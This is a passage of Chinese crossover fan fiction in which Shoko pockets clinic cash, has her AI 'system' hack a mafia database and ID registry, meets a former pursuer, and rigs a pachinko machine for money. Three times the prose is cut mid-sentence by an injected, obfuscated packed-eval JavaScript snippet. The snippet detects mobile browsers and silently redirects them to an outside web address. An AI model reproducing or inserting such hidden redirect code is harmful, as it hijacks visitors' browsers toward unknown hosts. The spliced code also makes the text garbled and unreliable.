倒也不是突然良心发现,只是硝子的身份本来就有些敏感,即使太宰不明缘由地帮她进行了隐瞒,但港口黑手党的那些人到底是起了疑心。 再加上这个突发事件就发生在他们怀疑硝子的同一天,如果硝子在这个敏感的时间离开,那猜疑的矛头无疑会有一部分直直指向她。 而无论硝子到底是否做过这件事,“做贼心虚”和“另有图谋”这样的猜忌,一定会在他们心中浮现,并且随着硝子身上的疑点逐渐加深。 到时候,她的存在一定会或多或少出现在一些人的眼前。 这是硝子现在最不愿意看到的事情。 硝子本来就无意和这里的人产生过多的接触,但现在看来,这却已经是不得不做的事了。 因为无论她是否愿意,自己似乎早已在不知不觉间,身处泥潭之中了。 …… 家入硝子在诊所里呆了一整晚。 然而直到第二天早上醒来时,诊所的另外两人都没有再回来过。 不过这也在硝子的预料之中。 毕竟组织首领突然被人暗杀这种足以撼动根基的大事,后续牵扯到的东西估计能让他们脚不沾地的连续忙上好几天。 虽然这么说显得有些父慈子“孝”,不过拜这件事所赐,硝子总算是睡到了十几年来的第一次好觉。 这让她对自己那个尚未谋面却已经天人永隔的“老爹”微不可察的好感值+1。 感恩。 如果这个床板不那么硬就更好了。 硝子收拾好之后,举起两只胳膊伸了个大大的懒腰,随后看向镜中的自己。 皮肤肉眼可见地变好了,只是眼下的黑眼圈还是有些明显,虽说看起来没有之前那么严重了。 不过,是个好苗头。 这意味着她已经开始逐渐远离那种007的生活了。 不错。 家入硝子的心情难得好上一些,她将披散在肩上的头发绑起,然后拿过一旁的墨镜带上,走到办公室里,再次把之前那些钱拿了出来。 她站在原地数了数,又让系统扫描了一下,把其他地方的现金也拿了出来。 看着手里的几万日元,硝子在心里叹了口气。 好穷。 姑且先用着吧。 看到硝子头也不回地离开诊所,系统有些忐忑不安地跟了上去。 “宿、宿主,我们这么做……不太好吧?” 这不是偷窃吗? 而且如果之后被发现了该怎么办啊。 硝子摇了摇头,纠正它:“钱是‘五条悟’拿的,和我‘家入硝子’有什么关系?” 系统被硝子这番操作惊得目瞪口呆,它一屁股坐在硝子肩膀上不说话了。 硝子这种理直气壮干坏事的行为,让系统想起了本源世界的太宰先生,不堪回首的往事重新占据了它的心头,系统显得有些郁郁寡欢。 它还想再劝诫一下自家宿主,却被硝子突然打断了。 “宿——” “哦,对了,既然我们已经是合作关系了,以后就别再叫我宿主了。” 硝子总感觉这样听起来很奇怪。 系统卡了一下,小心翼翼:“那……家入小姐?” “硝子。”家入硝子说,“就叫我硝子吧。” “好、好的,硝子……小姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403490|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家入硝子:“……” 也行吧。 被她这么一打断,系统突然忘记自己之前到底想说什么了,它顿了顿,看着硝子走向横滨市区的方向,忍不住问她: “硝子小姐,您这是要去做什么?” “查点东西。” 现在港口黑手党正是混乱的时候,应该不会再有人盯着她看,趁着这段时间,硝子想尽可能地让自己多掌握一些主动权。 自从来到这个世界后,自己就总是被动地在跟着周围的事情走,这种感觉实在是让她有些厌烦了。 她的不作为,只是懒得去争,但既然已经有人当着她的面把算盘打在了自己的头上,那她也没必要再一味地忍耐。 而且硝子总觉得,自己似乎已经摸到了一些事情的边缘。 只要再深入调查一下,那些一直缠绕着她的疑惑和答案,说不定会就此浮上水面。 家入硝子走到车流不息的大路上,抬手拦下一辆出租车,报出一个地址。 不久之后,出租车停在一处高大的建筑物前。 硝子走下车。 她看着眼前这五座曾在刚来到这里时看到过一次的高大建筑,忍不住挑了下眉。 近看确实还挺有威严的,直挺挺的五幢大楼高耸入云。 能在这种地段造五座这样的摩天大厦,按理来说这个组织应该挺有钱的,怎么就不舍得给诊所多拨点款呢。 也难怪本源世界的森医生想要谋反,这难保不是原因之一。 家入硝子摇了摇头。 她看向四周的建筑和设施,在一处不起眼的咖啡馆前的小桌子边坐下。 “9958,我记得你之前说过,只要有网络,你哪里都能去?” 系统突然被硝子这么喊,有些反应不过来,因为编号对于系统来说其实是挺独特的一样东西。 由于每个系统都有独属于自己的编号,所以这个东西在另一种意义上相当于它们的名字。 不过自从系统9958因为瑕疵被淘汰以后,就几乎再没有人这么喊它了。 系统看了硝子好一会儿,才点点头回答:“是的,作为博士的拯救系统,这是每个系统最基础的技能之一。” 这样啊。 这么看来,系统的骇客技术对于这个世界来说,应该也是属于降维打击。 毕竟现在这个时间段,这个世界的科技还没有发展到之后那么好。 硝子再次看向不远处的那五座大厦,抬了抬下巴,问它:“那你能黑进那里吗?” 系统看看港口黑手党的五座摩天大厦,又看了看硝子,有些犹豫了。 “您这是想要……他们的什么资料吗?” 生怕硝子误会自己,系统赶忙解释,“不是不行,只是如果您只是想要他们的资料的话,我的数据库里就保存有备份,不用那么麻烦的。” 硝子摇了摇头。 “不,我想要的不是那些过时的数据。” 想起那个在自己刚来到这里后就一直跟踪自己,甚至想要杀了她的那个黑衣男人,硝子开口道: “我想找的,是他。” 16.目的·异常·询问 硝子的想法很简单。 那个男人是除太宰之外,唯一知道自己真实身份,并且与自己有过直接接触的人。 作为港口黑手党的一员,即使不属于最上层的那一类组织成员,但他的地位也绝不会太低,至少不会像那些无知无觉只知卖命的底层人员一样。 这一点从之前男人与太宰的接触中就可以得知。 他被上层的人所信任。 并且知晓太宰治的近期作为——这从他的恐惧之中就能得出结论。 当然,最重要的,就是这一点。 因为这就是硝子的目的。 她想通过男人,了解一些最近关于太宰治的事情。 毕竟硝子只能从系统那里得知世界的大致走向和事件人物,但因为世界偏差值的存在,这些信息的时效性还有待考虑。 在这种情况下,如果能从这个世界的人口中亲自了解到相关情报,无疑是会比那些不知是否过时的信息要靠谱许多。 至于为什么要了解这些,硝子有自己的想法,她并没有把自己更深层的考虑告诉系统。 不过,要到达成自己的目的,这其中还有一项不可忽视的障碍存在—— 硝子不清楚那个男人是否还活着,所以才需要系统去查证。 想想这也是当然的吧。 任务失败,被打上背叛标记的人,怎么想也很难从组织的惩罚中逃脱,更何况是这种等级森严的地下组织。 硝子本来没抱太大的希望,但让她没想到的是,那个男人居然意外地还活着。 硝子有些惊讶。 “这些黑手党,对待叛徒这么仁慈吗?” 她问系统。系统开始有些犹豫,它也在困惑,但最后还是十分确定地说: “在黑进他们的数据库后,那个人的档案确实并未被标记死亡。” 家入硝子:“……” 这就有点奇怪了。 据硝子从系统那里得知的情报所说,这个组织对自己的成员一般都相当看重,只是,这种看重并非是从人情事故上来讲,而是事关组织的情报秘密泄露相关—— 即使有人意外死亡,他们也会派专门的人员去将对方身上的关键物品回收,并将有可能泄露组织秘密的相关信息清除掉。 可机密档案不会说谎。 所以男人是真的还活着。 硝子靠着机密档案中的信息找到了他,但在那之前,她先让系统黑进公民身份管理系统,替自己搞到了一个新身份。 看着手中新鲜出炉的身份证件,硝子带上墨镜,拉起口罩,来到和对方约定好的店面。 这是一家街边饭馆,与其他店面不同的是这里环境幽闭,还能提供一间小茶室,比较适合私密点的谈话。 硝子当然可以找到更加隐秘安全的地方,但她最终还是选择了这里。 毕竟在这里不用害怕对方再次动手,而且虽然这里客人不多,但也算是开在人流较多的繁华街区。 不过既然对方已经承诺会来,想必应该也没有再存在那样的心思—— 这一点同样让硝子感觉到惊讶。 她本以为自己需要再用上一些不太好的手段才能和对方见上一面,但事情却意外进行的十分顺利,顺利到让硝子都感觉到有些隐隐的不对劲。 等再次见到男人的时候,这种不对劲又在男人身上体现了出来—— 在上次离开后到现在,这之间一定是发生了什么她所不知道的事情。 不知出于什么原因,前来会面的男人面容看起来实在憔悴,明明距离硝子上次见到他时只过去了一天半,但他的脸却明显消瘦了许多。 他没有再穿着之前的那套统一的黑色制服,而是只穿着一身普通的衬衣长裤,像一个普通男人那样颓废着,不修边幅胡子拉碴,甚至就连纽扣都扣错了一颗。 硝子不知道在他身上发生了什么,只是打量着他的样子,没有多问什么。 毕竟她是对方本来想杀的人,他们身份和立场都极其尴尬,能心平气和地坐在一起,已经是很难见到的画面了。 总之,在硝子的询问下,事情发展得很顺利。 男人几乎没对她隐瞒什么,只有个别涉及自己顶头上司的问题没有回答以外,几乎所有关于他了解的太宰治的事情都说了,总体与硝子的猜测不出其二。 手段了得。 计谋出众。 仅仅只用了一个月的时间,就让港口黑手党的实力扩大了几乎一倍,期间被首领信任和重用,地位隐隐与干部齐平,甚至还获得了一些干部们的敬仰。 就连总是与组织作对的一些对立组织,也在他的打压下,难以做出反击—— 不如说即使有,也会被太宰轻易化解。 男人说完这些后,沉默了很久,才又缓慢地开口: “曾经有敌对组织的人说,在他们眼中,太宰先生就像是一只怪物,大概只有在我们自己人的眼中,他才会像个神一般,全知全能,无所不及。但……” 他说到这里停了下来,将后面没说完的话咽了回去。 但事实上,在他的心中,即使作为那个人同组织的同事来说,他也不觉得对方像什么神祇。 在他的心中,神是有悲悯之心的。 可在那个人的身上,他什么都没有看到。 那人就像是活在一片死寂中的虚无,其间绝不存在任何活的事物和感情。 家入硝子此刻也在沉默着,不是被男人的话所吓倒,而是在沉思着什么。 她看到男人起身准备离开,并没有进行阻拦,只是对方在她的注视下,突然又停下了脚步。 男人回头看向正在思考中的硝子,顿了顿后说道: “我不管你问这些究竟是想要做什么,但我劝你最好放弃。没有人——” 他说到这里又皱起眉,加重语气强调了一下。 “没有人,能轻易改变那个人的决定,也没有人能逃脱他的计算。他就是个——”不分敌我的怪物。 男人喃喃说着,最后像是突然惊醒一般,猛地止住话头。 他皱紧眉头,将最后那几个字吞进肚子里,随后大步走出店门。 在离开前,他只留下最后一句话。 “他是一个你无法掌控的人。” 桌子上的茶一口也没动,端上来的小菜也一口没动。 硝子就那么坐在那里,沉默着,思索着。 他的回答究竟有没有说谎还有待查证,不过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416105|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种显而易见的事情即使说了谎,也很容易就会被戳穿,硝子不认为他会蠢到那么做。 更何况硝子也不算与这事毫无瓜葛,毕竟她会遇到这些事,也和她的身份脱不了干系。 而且,她本以为男人会答应她见面似乎有着什么阴谋,不过现在看来也许是觉得她想控制太宰后上位才这么做的? 毕竟她可是港口黑手党首领正儿八经的继承人。 硝子在这里画上一个大大的问号。 没有纠结太久,硝子便放弃思考,拿起筷子吃起了饭菜—— 毕竟这是她花了钱的,虽然钱的来源不是很正当,但她现在姑且也算是穷人一个,可经不起这么铺张浪费。 更何况那俩人好像是把她的存在给彻底忘了,如果硝子不想办法自己搞点吃的,可能等不到他们收拾好烂摊子回来前,就已经彻底饿死街头了。 硝子吃着吃着叹了口气。 真是到哪里都缺不了钱这东西,搞钱还是一等大事啊,不然真的是寸步难行。 就是她想再从别的渠道搞点情报,也有点无从下手。 可是要到哪里去搞钱呢?而且数目还不能少,得是一大笔钱,不然随随便便就花完了。 硝子撑着脸,一口一口地往嘴里机械地塞着东西,又默默叹了口气。 虽然用了悟的身份,但用不了他的钱包。 有点可惜。 真想天上掉馅饼啊。 目光飘忽了一会儿,硝子突然看向视线角落里的一颗透明玻璃珠。 “……啊。” 硝子看看珠子,又看看系统,又看看珠子,嘴角渐渐露出一抹奇怪的弧度。 系统许久没有出声,生怕打扰到她,这会儿被硝子渗人的笑和视线惊得一跳,有些迟疑地问:“硝子小姐,您这是……怎么了?” 家入硝子微微一笑:“我有一计。” …… 与此同时,在硝子不知道的地方,刚刚还表情冷淡的男人,此刻从口袋里拿出手机,颤抖着手机点开一个号码。 他抖着指尖打字,一句话用了几乎五分钟才发送过去。 【我已经按照您的吩咐,将消息如实告诉她了,请放过她……放过我的妹妹。】 仅仅是发出这一句话,就让男人身上的衣服几乎被汗水浸透。 他不知道这个人是怎么知道他妹妹的事情,这件事他从未对任何人说起,甚至连他的顶头上司也不知道,档案中自然也不会有,可偏偏那个人却对这件事一清二楚,就好像—— 就好像世间一切都无法躲过他的眼睛。 “……可恶。” 男人后背抵墙,在路人匆匆投来的诧异目光中,失去力气似的缓缓坐下。 他抬起头,看着漆黑的狭窄巷子中出现的一抹湛蓝,慢慢闭上了双眼。 …… 港口黑手党,干部会议室。 太宰放在桌面上的手机震动了一下,他毫不在意地扫过一眼,继续微笑着对在场的几个人说: “那么,会议就暂时先到这里。按照会议结果,我会在首领不在这段时间,暂时接任首领一职,直到你们几人的意见统一,或者,找到首领的继承人为止——” “散会。” 17.坐杀·搏徒·并不 家入硝子正站在一家装饰异常夸张的门店之前。 繁华的街道旁行人匆忙,几乎没人去注意到站在那里的硝子。 硝子食指勾下墨镜,打量着眼前的店门。 这家店面看起来很眼熟—— 事实上是非常眼熟,就和其它那些在大家眼中心照不宣的存在一样,这同样是一家令人心照不宣的店。 这是一个开在闹市区的小钢珠店。 系统坐在硝子肩膀上,呆呆地看着她动作从容地走进门,然后熟练地向前台咨询,并且将手中仅剩的三张万元钞票全部递出去,被惊掉的下巴迟迟合不拢。 “硝子小姐,您……您不会是想要赌博吧?!” 系统震惊过后,立马劝道:“这样不太好吧,您难道不清楚这东西的成瘾性吗?况且,这些大奖没那么好赢的,背后都是有系统来操控的!想要快速获取钱的话,这才是最不靠谱的办法呀!” 它想让硝子清醒一点,但收效看起来甚微。 拜之前的经验所赐,硝子已经基本搞懂这些东西的玩法,当然,系统所说的那些她自然也是懂的,只不过—— 她要的,就是有系统操控的东西。 家入硝子向着前台人员点了点头,随后转身走向店里深处的一台机子。 她在机前坐下,扭头对着系统微微一笑,又露出那副一路上系统几乎已经见惯了的表情。 那是一幅好像在憋着什么坏主意的表情,系统在本源世界时曾经经常在某位不愿提及姓名的先生脸上看到。 它虽然是个系统,却下意识打了个寒颤,然后就听到硝子悠悠开了口:“所以,这不是就到你的主场了吗,我亲爱的统?” 硝子的声音带着几分撺掇和蛊惑,9958呆呆地看着她。 那一瞬间,系统感觉自己好像在眼前的女人身上看到了某位恶魔的身影,可再一晃神,眼前出现的还是它家宿主那副和蔼可亲的微笑模样。 系统:“……” 系统9958沉默了许久,最终还是缓缓飞出去,找到这台机器的接口,委委屈屈地凑上前去,用最机械最板正的智能音回复道: “宿主,连接好了。” 竟是连一直坚持的敬称也不叫了,这系统的道德感还真是强的可怕。 硝子自知不如。 虽然这是预料到的画面,但她别无他法,要想事情尽快取得进展,只能走一些捷径。 不过她还是姑且安慰了一番系统: “别这样,你就当是为了你拯救世界的大业而做出的一点小小的妥协和牺牲嘛。做人就是这样,懂得灵活变通才能更好的生存——哦,做统当然也一样。” 见系统还是沉默不语,她干脆说:“再或者,你就当这是劫富济贫……最不济也是个黑吃黑,这总没什么问题吧?” 这句话一说,让系统想起硝子在这个世界的身份,只能别别扭扭地点了点头。 主要是一想到硝子的身份,系统总觉得有些心虚,感觉硝子这两天遇到的一切苦难和它都脱不了干系。 于是抱着这种纠结的状态,一人一统在众人眼皮子底下达成了微妙的协议。 硝子提醒道:“不需要太多啊,这些次数里面只要中一次大奖就够了。” 系统严肃地点点头。 结果也不知是硝子运气好还是系统出了错。 两小时后,硝子手里拿着两张大奖兑换卡,在店员略带怀疑的目光中走出店门,站在街道旁沉默了许久。 她问系统:“你干的?” 这小钢珠店的中奖概率不可能这么高啊。 系统极力否认:“我只操作了一次!” 而且生怕自家宿主因为这一次的中奖染上赌瘾,它怎么还可能心安理得地助纣为虐? 家入硝子若有所思地摸了摸下巴。 所以单纯是因为她今天幸运值拉满了吗? 硝子并没有觉得很高兴,毕竟她可不是秤金次那家伙,有着“坐杀搏徒”那样无敌的术式,而且她始终坚信幸运守恒定律—— 如果在某一时刻她的幸运值达到了近期的巅峰,那就意味着之后的她可能就要走霉运了。 硝子之前的人生已经数次诠释了这一点。 家入硝子叹了口气,心中微感不妙。 但她转念又想了想,自己好不容易能“长休”了,却又被突然拐到这种破地方加班逃命,还被迫要拯救什么狗屁世界,无论怎么想都应该不会有比这更倒霉的事了吧? 想到这里,硝子不禁又放下心来。 她找到开在附近的兑换店,把手里的两张卡片递给工作人员,不久后拿着厚厚的两沓日元离开。 两百万日元,这从某种意义上来说,又何尝不是种一夜暴富? 其实硝子也是见过世面的人,这点钱本来对她说来说算不了什么,只是自从来到这里后,穷得叮当响的人设好像就牢牢套在了硝子身上,让她差点忘记自己也曾经是个有钱人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432064|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想想就有些莫名的心酸。 家入硝子拿着自己来之不“易”的钱,改了主意。 她打算先买部手机,然后找个银行存起来一些。 这样如果之后正式从那个黑心诊所辞职了,好歹还能在她找到下份工作前先支撑一段时间。 至于剩下的,硝子打算用来请人调查关于血字会的事情。 一想到这件事,硝子的眼神又是一冷。 她并没忘记那个丧心病狂的组织,即使上次从那几个小混混身上没得到什么有用的信息,硝子之后也让系统时刻关注着新闻报道。 飞机失事的调查据传几乎已经接近尾声,相关报道称事故原因确实是由于机械老化造成的,而关于沉落物的打捞听说也进展的很快。 现在已经有近乎五分之二的失踪者被打捞上来,而相关遗失物品和沉落物也都在继续打捞中。 系统当时汇报时还说,是不是硝子想多了,可能真的只是飞机意外失事而已,那个和她同乘女人的死说不定也是意外巧合。 但硝子并不相信这世界有什么意外巧合,她只相信自己的直觉。 虽然不知道那些人是怎么做到让这么大的事故不暴露一丝痕迹,但他们的目的已经昭然若揭了。 起码那几个血字会的小混混确实是冲着她来的,而且据他们所说,他们组织也有预谋干掉港口黑手党的首领并让自己的组织取而代之。 这次港口黑手党的首领之死,难保不是血字会干的。 这么一想,她和她那个便宜爹好像都挺惨的,时刻都被别人惦记着小命。 有点难评。 唯一值得硝子欣慰的,是自从上次的新闻事发到现在为止,她还没有从那些新闻里面看到第二起自己眼熟的被害人。 这说明那些人还没丧心病狂到对事故幸存者疯狂下手——同时,也不排除因为暗杀首领得逞的可能性存在。 硝子的脑子又乱成了一团麻。 但不管是哪种可能,她都不打算再放过这些人。 留给她的时间已经不多了,沉落物的打捞一直在继续,不知道什么时候硝子就会彻底暴露,而那些混混被派来监视自己,背后一定也有着一些她不知道的理由。 不管这些人最后还会不会将她看在眼里,硝子都不打算再坐以待毙地当只任人宰割的兔子了。 为防留下后患,在离开诊所之前,硝子想尽快解决掉这件事。 无论是用什么手段。